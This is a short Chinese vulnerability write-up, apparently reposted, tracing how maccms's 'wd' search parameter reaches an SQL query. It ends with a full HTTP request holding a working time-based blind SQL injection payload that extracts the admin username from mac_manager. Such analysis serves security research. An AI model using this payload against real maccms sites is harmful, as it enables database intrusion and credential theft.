漏洞存在路径：C:\phpstudy\WWW\maccms\inc\common\function.php第572行的htmlEncode函数
在第97行{
$tpl->P["wd"] = $wd; } 查看变量tpl $tpl在C:\phpstudy\WWW\maccms\inc\common\template.php文件的第2372行，是一个实例化的对象$tpl = new AppTpl(); 接下来看P["wd"] 在C:\phpstudy\WWW\maccms\inc\common\template.php的560行 if(!empty($this->P["wd"])){
$lp['wd'] = $this->P["wd"]; $this->P["auto"] = true; } 传递给了$lp['wd'],继续跟踪，发现执行了sql语句 
POST /mac/index.php?m=vod-search HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/ Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 96 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/mac/index.php?m=art-search Cookie: adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; admincheck=384f893d9967e6ff231a40fb603df713; PHPSESSID=ionm2t1f0umicg1qtgali267i1 Upgrade-Insecure-Requests: 1 wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(5)),0)#%25%35%63 版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。
发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/215308.html原文链接：https://javaforall.net
